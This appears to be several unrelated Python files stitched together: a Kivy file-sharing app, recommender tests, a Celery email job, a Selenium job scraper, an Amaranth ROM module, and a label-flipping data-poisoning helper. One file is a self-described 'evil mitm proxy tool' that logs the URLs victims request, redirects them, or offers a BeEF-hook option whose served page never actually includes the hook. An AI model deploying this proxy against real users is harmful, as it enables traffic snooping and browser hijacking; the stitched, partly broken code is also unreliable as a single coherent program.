            Window.minimum_width, Window.minimum_height = 320, 360
            Window.size = (320, 480)

        # Kivy config
        Logger.debug(f'Kivy: Platform: {kivy_platform}')
        Logger.debug(f'Kivy: Config file: {Config.filename}')
        Logger.debug(f'Kivy: user_data_dir: {self.user_data_dir}')
        Logger.info(f'Ndrop: Platform: {get_platform_system()}')
        Logger.info(f'Ndrop: Config file: {gConfig.config_path}')
        Logger.info(f'Ndrop: Target dir: {gConfig.app["target_dir"]}')

    def hook_key(self, window, key, *args):
        if key in [27]:
            if self.back_counter == 1:
                Logger.info('Ndrop: request to quit!')
                self.stop()
            else:
                Logger.info('Ndrop: Double "Back" to quit!')
                Snackbar(text='Double "Back" to quit.', duration=1).open()
                self.back_counter += 1
                Clock.schedule_once(self.reset_back_counter, 0.5)
            return True

    def reset_back_counter(self, *args):
        self.back_counter = 0

    def on_stop(self):
        self.server.quit()

    def on_pause(self):
        return True

    def on_add_node(self, node):
        self.root.dispatch('on_ndrop_event', {
            'action': 'add_node',
            'node': node,
        })

    def on_remove_node(self, node):
        self.root.dispatch('on_ndrop_event', {
            'action': 'remove_node',
            'node': node
        })

    def on_recv_file(self, file, from_addr):
        """通知Widget开始接收文件
        """
        self.root.dispatch('on_ndrop_event', {
            'action': 'recv_file',
            'file': file,
            'from_addr': from_addr
        })

    def on_recv_text(self, text, from_addr):
        self.root.dispatch('on_ndrop_event', {
            'action': 'recv_text',
            'text': text,
            'from_addr': from_addr
        })

    def check_target_dir(self, flag):
        self.server.check_drop_directory()

    def start_ndrop_server(self):
        listen = '0.0.0.0'
        mode = None
        cert = None
        key = None

        self.server = GUINetDropServer(self, listen, mode, (cert, key))
        self.server.saved_to(gConfig.app['target_dir'])
        threading.Thread(
            name='Ndrop server',
            target=self.server.wait_for_request,
            daemon=True,
        ).start()

    def fix_android_splash(self, *args):
        if kivy_platform != 'android':
            return
        try:
            Logger.debug('Ndrop: Remove splash screen')
            if True:
                from android import loadingscreen
                loadingscreen.hide_loading_screen()
            else:
                from android import remove_presplash
                remove_presplash()
        except ImportError:
            Logger.warn('Ndrop: Could not find "android" module!')

    def ask_storage_permission(self, callback=None):
        """
        https://developer.android.com/training/data-storage
        WRITE_EXTERNAL_STORAGE
        READ_EXTERNAL_STORAGE,
        MANAGE_EXTERNAL_STORAGE,
        INTERNET,
        ACCESS_NETWORK_STATE,
        ACCESS_WIFI_STATE,
        """
        def permission_callback(permissions, grant_results):
            grant_flag = True
            for x in range(len(permissions)):
                Logger.debug(f'Ndrop: Permission: {permissions[x]}: {grant_results[x]}')
                if not grant_results[x]:
                    grant_flag = False
            if callback:
                callback(grant_flag)

        if kivy_platform != 'android':
            return
        try:
            from android.permissions import check_permission, request_permissions, Permission
            storage_permissions = [
                Permission.WRITE_EXTERNAL_STORAGE,
                Permission.READ_EXTERNAL_STORAGE,
            ]
            no_permission = False
            for perm in storage_permissions:
                if not check_permission(perm):
                    no_permission = True
                    break
            if no_permission:
                Logger.debug(f'Permission: Request permissions: {storage_permissions}')
                request_permissions(storage_permissions, permission_callback)
            else:
                Logger.debug(f'Permission: Has permissions: {storage_permissions}')
        except ImportError:
            Logger.warn('Ndrop: Could not find "android" module!')

def run():
    Logger.info(f'Ndrop: {about.banner}')
    # 打开 Python logging，显示 HFS 信息
    app_logger = logging.getLogger(__name__.rpartition('.')[0])
    app_logger.setLevel(logging.INFO)

    # FORMAT = ' * %(message)s'
    # handler = logging.StreamHandler(sys.stdout)
    # handler.setFormatter(logging.Formatter(fmt=FORMAT))
    # app_logger.addHandler(handler)

    app = GuiApp()
    app.init_config()
    app.run()

if __name__ == '__main__':
    run()


import socket
import requests
import os

os.system("clear")

url_list = []

banner = """
            _ _
  _____   _(_) |      _ __  _ __ _____  ___   _
 / _ \ \ / / | |_____| '_ \| '__/ _ \ \/ / | | |
|  __/\ V /| | |_____| |_) | | | (_) >  <| |_| |
 \___| \_/ |_|_|     | .__/|_|  \___/_/\_\\__, |
  v1.1               |_|                  |___/
================================================
           a evil mitm proxy tool
================================================

"""
print(banner)
print("""
[1] beef hook
[2] redirect
[3] normal http proxy

[INFO] all of these snoop the http requests the client makes and can be accesed by pressing ctrl+c
""")
op = input("[+] enter option: ")

if op == "1":
    beef_url = input("[+] enter the beef server ip: ")
elif op == "2":
    redirect_url = input("[+] enter the url to redirect too: ")

else:
    pass

def get_data(url):
    global op

    if op == "3":
        url = "http://"+url
        data = requests.get(url)
        if data.status_code == 200:
            print("[OK] client url code 200")
            return data.text
        else:
            print("[ERROR] client url didn't respond code("+str(data.status_code)+")")
            raise "200 error"
    elif op == "2":
        global redirect_url
        return """
<!DOCTYPE html>

      <title>HTML Meta Tag</title>
      <meta http-equiv = "refresh" content = "3; url = """+redirect_url+""""/>

directing to url

        """
    elif op == "1":
        global beef_url
        return """<title>404 Page Not Found</title>

404 Page Not Found

"""
    else:
        pass

def parse_req(data):
    global url_list, op

    if op == "2":
        global redirect_url
    else:
        redirect_url = "None"

    try:
        req = data.split("Host: ")
        r = req[1]
        r = r.split("\n")

        url = r[0]
        url = url.replace("\n","")
        url = url.replace(" ","")
        url = url.replace("\r","")

        if url == redirect_url:
            pass
        else:
            url_list.append(url)
            req_url = url

        print("[OK] client url: "+req_url)
        text = get_data(req_url)
        return text
    except Exception as e:
        print("[ERROR] invalid request by client, sending error")
        er = """
        INTERNAL SERVER ERROR
        server error: """+str(e)+"""
        """
        return er

buff = 4048
r = 0

port = int(input("[+] enter port to run on: "))

try:
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
        s.bind(("",port))

        while True:
            os.system("clear")

            print("[+] waiting for connection")
            print("[+] req num: "+str(r))
            s.listen()
            conn, addr = s.accept()

            print("[OK] client connected ip: "+str(addr[0]))

            with conn:
                t = True
                while t:
                    data = conn.recv(buff)
                    req_url = parse_req(data.decode())
                    r += 1
                    try:
                        conn.send(req_url.encode())
                    except BrokenPipeError:
                        print("[ERROR] client has diconected")
                    except UnicodeDecodeError:
                        print("[ERROR] client went to https website")
                    except AttributeError:
                        print("[ERROR] attribute error, we don't know what happend here")
                    t = False
except KeyboardInterrupt:
    print("[Ok] user quit, displaying url's that where visited...")
    for i in url_list:
        print("[-] url: "+i)

'''

what a request looks like:

GET http://example.com/ HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Sec-GPC: 1

all we need is the host, so the progam needs to see:

http://exapmle.com
so we do lot's of parseing and selecting in parse_req
'''


from unittest.mock import MagicMock

import pytest
import numpy as np
import pandas as pd
from scipy.sparse import csr_matrix
import torch

from recpack.algorithms.p2v_clustered import Prod2VecClustered
from recpack.algorithms.util import get_users
from recpack.matrix import InteractionMatrix

from recpack.tests.test_algorithms.util import assert_changed

@pytest.fixture(scope="function")
def prod2vec(p2v_embedding, mat):
    prod = Prod2VecClustered(
        num_components=50,
        num_negatives=2,
        window_size=2,
        stopping_criterion="precision",
        K=5,
        batch_size=5,
        learning_rate=0.01,
        max_epochs=10,
        stop_early=False,
        max_iter_no_change=5,
        min_improvement=0.0001,
        save_best_to_file=False,
        replace=False,
        exact=True,
        keep_last=True,
        num_clusters=4,
        Kcl=2,
    )
    prod._init_model(mat)
    prod.model_.input_embeddings = p2v_embedding

    prod.save = MagicMock(return_value=True)
    return prod

def test__predict(prod2vec, larger_mat):
    prod2vec._init_model(larger_mat)
    matrix = csr_matrix((6, 25))
    matrix[[0, 1, 2, 3, 4], [0, 1, 2, 3, 4]] = 1

    prod2vec._create_similarity_matrix(larger_mat)
    predictions = prod2vec._batch_predict(matrix, get_users(matrix))

    assert predictions.shape == matrix.shape

def test_cluster_similarity_computation():
    alg = Prod2VecClustered(
        num_components=2,
        num_negatives=2,
        window_size=2,
        stopping_criterion="precision",
        K=5,
        batch_size=5,
        learning_rate=0.01,
        max_epochs=10,
        stop_early=False,
        max_iter_no_change=5,
        min_improvement=0.0001,
        save_best_to_file=False,
        replace=False,
        exact=True,
        keep_last=True,
        num_clusters=4,
        Kcl=2,
    )

    # assume we fitted a very easy to cluster set of embeddings.
    alg.model_ = MagicMock()
    alg.model_.input_embeddings = MagicMock()
    alg.model_.input_embeddings.weight = torch.Tensor(
        [
            [-1, -1],
            [-1.2, -1.2],
            [-1, 1],
            [-1.2, 1.2],
            [1, 1],
            [1.2, 1.2],
            [1, -1],
            [1.2, -1.2],
        ]
    )

    # Check if the correct number of clusters was created
    cluster_assignments = alg._cluster(alg.model_.input_embeddings.weight.cpu().detach().numpy())
    assert cluster_assignments.shape[0] == 8
    assert 0 in cluster_assignments
    assert 1 in cluster_assignments
    assert 2 in cluster_assignments
    assert 3 in cluster_assignments

    assert cluster_assignments.max() == 3

    # Data Matrix is constructed so that
    # neighbours(c_0) = [c_0, c_1]
    # neighbours(c_1) = [c_1, c_2]
    # etc. as in the test at the bottom.
    # fmt:off
    df = pd.DataFrame.from_dict(
        {
            "user": [0, 0, 0, 1, 1, 2, 2, 2, 3, 3, 4, 4, 4, 5, 5, 6, 6, 6, 7, 7],
            "item": [0, 1, 2, 1, 3, 2, 3, 4, 3, 5, 4, 5, 6, 5, 7, 6, 7, 0, 7, 1],
            "ts":   [1, 2, 3, 1, 2, 1, 2, 3, 1, 2, 1, 2, 3, 1, 2, 1, 2, 3, 1, 2],
        }
    )
    # fmt:on

    im = InteractionMatrix(df, "item", "user", timestamp_ix="ts")

    c2c = alg._get_top_K_clusters(im, cluster_assignments)

    # Because clusters are not assigned in order,
    # we need to get them based on their item values
    # Remember that we created the embeddings such that clusters are:
    # (0, 1), (2, 3), (4, 5), (6, 7)
    c_0 = cluster_assignments[0]
    c_1 = cluster_assignments[2]
    c_2 = cluster_assignments[4]
    c_3 = cluster_assignments[6]

    assert c2c.shape == (4, 4)

    np.testing.assert_array_equal(c2c[c_0].nonzero()[1], np.array(sorted([c_0, c_1])))
    np.testing.assert_array_equal(c2c[c_1].nonzero()[1], np.array(sorted([c_1, c_2])))
    np.testing.assert_array_equal(c2c[c_2].nonzero()[1], np.array(sorted([c_2, c_3])))
    np.testing.assert_array_equal(c2c[c_3].nonzero()[1], np.array(sorted([c_3, c_0])))

    # Check if only items from neighbouring clusters are nonzero

    alg._create_similarity_matrix(im)

    # All items in neighbouring clusters except itself.
    np.testing.assert_array_equal([1, 2, 3], alg.similarity_matrix_[0, :].nonzero()[1])
    np.testing.assert_array_equal([3, 4, 5], alg.similarity_matrix_[2, :].nonzero()[1])
    np.testing.assert_array_equal([5, 6, 7], alg.similarity_matrix_[4, :].nonzero()[1])
    np.testing.assert_array_equal([0, 1, 7], alg.similarity_matrix_[6, :].nonzero()[1])

def test_training_epoch(prod2vec, mat):

    prod2vec._init_model(mat)

    params = [o for o in prod2vec.model_.named_parameters() if o[1].requires_grad]

    # take a copy
    params_before = [(name, p.clone()) for (name, p) in params]

    # run a training step
    with pytest.warns(UserWarning, match="There are clusters without neighbours"):
        prod2vec._train_epoch(mat)

    device = prod2vec.device

    assert_changed(params_before, params, device)

def test_predict_warning(prod2vec, mat):
    with pytest.warns(UserWarning, match="K is larger than the number of items."):
        prod2vec._create_similarity_matrix(mat)

def test_fit_no_interaction_matrix(prod2vec, mat):
    with pytest.raises(TypeError):
        prod2vec.fit(mat.binary_values, (mat, mat))

def test_fit_no_timestamps(prod2vec, mat):
    with pytest.raises(ValueError):
        prod2vec.fit(mat.eliminate_timestamps(), (mat, mat))

def test_no_self_similarity(prod2vec, mat):

    prod2vec._create_similarity_matrix(mat)
    similarity_matrix = prod2vec.similarity_matrix_.toarray()
    assert (similarity_matrix[np.arange(mat.shape[1]), np.arange(mat.shape[1])] == 0).all()

@pytest.mark.parametrize(
    "active_items, inactive_items",
    [
        ([0, 1, 2, 3], [4]),
        ([0, 2, 3], [1, 4]),
    ],
)
def test_no_similarity_from_inactive_items(prod2vec, mat, active_items, inactive_items):
    matrix = csr_matrix((mat.shape[1], mat.shape[1]))
    matrix[active_items, active_items] = 1

    prod2vec._create_similarity_matrix(mat.items_in(active_items))
    similarity_matrix = prod2vec.similarity_matrix_.toarray()

    assert (similarity_matrix[inactive_items] == 0).all()

@pytest.mark.parametrize(
    "active_items, inactive_items",
    [
        ([0, 1, 2, 3], [4]),
        ([0, 2, 3], [1, 4]),
    ],
)
def test_no_similarity_to_inactive_items(prod2vec, mat, active_items, inactive_items):
    matrix = csr_matrix((mat.shape[1], mat.shape[1]))
    matrix[active_items, active_items] = 1

    prod2vec._create_similarity_matrix(mat.items_in(active_items))
    similarity_matrix = prod2vec.similarity_matrix_.toarray()

    assert (similarity_matrix[:, inactive_items] == 0).all()


import numpy as np

def get_mal_dataset(dataset, num_mal, num_classes):
    """
    Resturns a list of malicious datasets
    params: dataset: the original dataset
    params: num_mal: the number of malicious samples
    params: num_classes: the number of classes in the dataset
    """
    X_list = np.random.choice(len(dataset), num_mal)  # randomly select num_mal samples
    print("Get malicious images ID from dataset: ", X_list)
    Y_true = []
    for i in X_list:
        _, Y = dataset[i]
        Y_true.append(Y)
    Y_mal = []
    # randomly assign the malicious samples to different classes
    for i in range(num_mal):
        allowed_targets = list(range(num_classes))
        allowed_targets.remove(Y_true[i])
        # keep selected targeted same
        np.random.seed(i+100)
        Y_mal.append(np.random.choice(allowed_targets))
    return X_list, Y_mal, Y_true


import json
import os
import sys
import uuid
from datetime import datetime
from random import randint

from celery import Celery
from celery.schedules import crontab

sys.path.append(os.path.dirname(__file__) + '/..')

from consumer_services.generate_email import generate_email  # noqa: E402
from worker_models.events import Event, EventType, Source  # noqa: E402
from settings.common.config import settings  # noqa: E402
from settings.rabbitmq.config import rabbit_settings  # noqa: E402
from consumer_services.auth_data import get_random_user  # noqa: E402
from consumer_services.send_email import EmailSender  # noqa: E402

USER = rabbit_settings.rabbitmq_settings.RABBITMQ_USER
PASS = rabbit_settings.rabbitmq_settings.RABBITMQ_PASS
HOST = rabbit_settings.rabbitmq_settings.RABBITMQ_HOST
PORT = rabbit_settings.rabbitmq_settings.RABBITMQ_PORT
broker_url = f'amqp://{USER}:{PASS}@{HOST}:{PORT}'
app = Celery('generator', broker=broker_url)

app.conf.beat_schedule = {
    'run-me-every-ten-seconds': {
        'task': 'generator.send_email',
        'schedule': crontab(minute=settings.MINUTE),
    },
}

USERS_NUMBER = settings.USERS_NUMBER
MOVIES_NUMBER = settings.MOVIES_NUMBER

def get_payload_likes() -> list:
    payload = []

    for _i in range(USERS_NUMBER):
        user_id = get_random_user()
        content = []
        for _j in range(randint(1, MOVIES_NUMBER)):  # noqa: S311
            movie_id = uuid.uuid4()
            n_likes = randint(1, 10)  # noqa: S311
            content.append(
                {'movie_id': movie_id,
                 'likes': n_likes,
                 },
            )
        payload.append({'users': [user_id],
                        'content': content,
                        })
    return payload

def generate_event() -> Event:
    source = Source.email
    event_type = EventType.likes_number
    scheduled_time = datetime.now()
    payload = get_payload_likes()
    event = Event(source=source,
                  event_type=event_type,
                  scheduled_datetime=scheduled_time,
                  payload=payload,
                  )
    return event

@app.task
def send_email() -> None:
    event = generate_event()
    email_sender = EmailSender()
    generate_email(email_sender, 'celery', json.loads(event.json()))

if __name__ == '__main__':
    send_email()


import time
from datetime import datetime

from selenium import webdriver
from selenium.webdriver.common.by import By
from selenium.webdriver.common.keys import Keys
from selenium.webdriver.common.action_chains import ActionChains

import pandas as pd
import numpy as np

#Define functions
# Sleep function
def sleep(x):
    time.sleep(x)

# Wait for a certain measure of time before throwing an exception
def wait(x):
    driver.implicitly_wait(x)

# Click Function
def click_bann_byID(ID):
    actions = ActionChains(driver)
    akzeptieren = driver.find_element(By.ID, ID)
    actions.click(akzeptieren).perform()
    wait(10)
    sleep(0.5)

# Find Elements Function
def find_elements_HPCO(H,P,C,O):
    if website_name == 'jobware':
        header = driver.find_elements(By.TAG_NAME, H)
    else:
        header = driver.find_elements(By.CLASS_NAME, H)
    publish = driver.find_elements(By.CLASS_NAME, P)
    company = driver.find_elements(By.CLASS_NAME, C)
    ort = driver.find_elements(By.CLASS_NAME, O)

    list_header = [title.text for title in header]
    list_publish = [pub.text for pub in publish]
    list_company = [comp.text for comp in company]
    list_ort = [o.text for o in ort]
    return list_header, list_publish, list_company, list_ort

# Scroll Down Function
def scroll_down(x):
    n=0
    while n < x:
        n+=1
        actions.key_down(Keys.PAGE_DOWN).perform()
        sleep(1.5)
        actions.key_down(Keys.PAGE_DOWN).perform()
        sleep(1.5)
        actions.key_down(Keys.PAGE_DOWN).perform()
        sleep(1.5)
        actions.key_down(Keys.PAGE_UP).perform()
        sleep(0.10)
        actions.key_down(Keys.PAGE_DOWN).perform()
        wait(10)
        sleep(2.5)


from math import ceil, log2
from amaranth import *
from amaranth.build import Platform
from amaranth_soc.memory import *
from amaranth_soc.wishbone import *

class ROM(Elaboratable):
    def __init__(self, data):
        self.data = Memory(width=32, depth=len(data), init=data)
        self.size = len(data) * 4
        # Initialize Wishbone bus arbiter.
        self.arb = Arbiter(
            addr_width=ceil(log2(self.size + 1)), data_width=32)
        self.arb.bus.memory_map = MemoryMap(
            addr_width=self.arb.bus.addr_width,
            data_width=self.arb.bus.data_width,
            alignment=0)

    def new_bus(self) -> Interface:
        # Initialize a new Wishbone bus interface.
        bus = Interface(addr_width=self.arb.bus.addr_width,
                        data_width=self.arb.bus.data_width)
        bus.memory_map = MemoryMap(addr_width=bus.addr_width,
                                   data_width=bus.data_width,
                                   alignment=0)
        self.arb.add(bus)

        return bus

    def elaborate(self, platform: Platform) -> Module:
        m = Module()

        m.submodules.arb = arb = self.arb
        m.submodules.rp = rp = self.data.read_port()

        m.d.comb += arb.bus.dat_r.eq(Mux(arb.bus.cyc & arb.bus.stb, rp.data, 0))
        # Always assign the bus address to the read port.
        m.d.comb += rp.addr.eq(arb.bus.adr[2:])

        with m.If(arb.bus.ack):
            m.d.sync += arb.bus.ack.eq(0)

        with m.If(arb.bus.cyc & arb.bus.stb):
            m.d.sync += arb.bus.ack.eq(1)

        # Word-aligned reads.
        with m.If((arb.bus.adr & 0b11) == 0b00):
            m.d.comb += arb.bus.dat_r.eq(rp.data)
        # Un-aligned reads.
        with m.Else():
            m.d.comb += arb.bus.dat_r.eq(
                rp.data << ((arb.bus.adr & 0b11) << 3))

        return m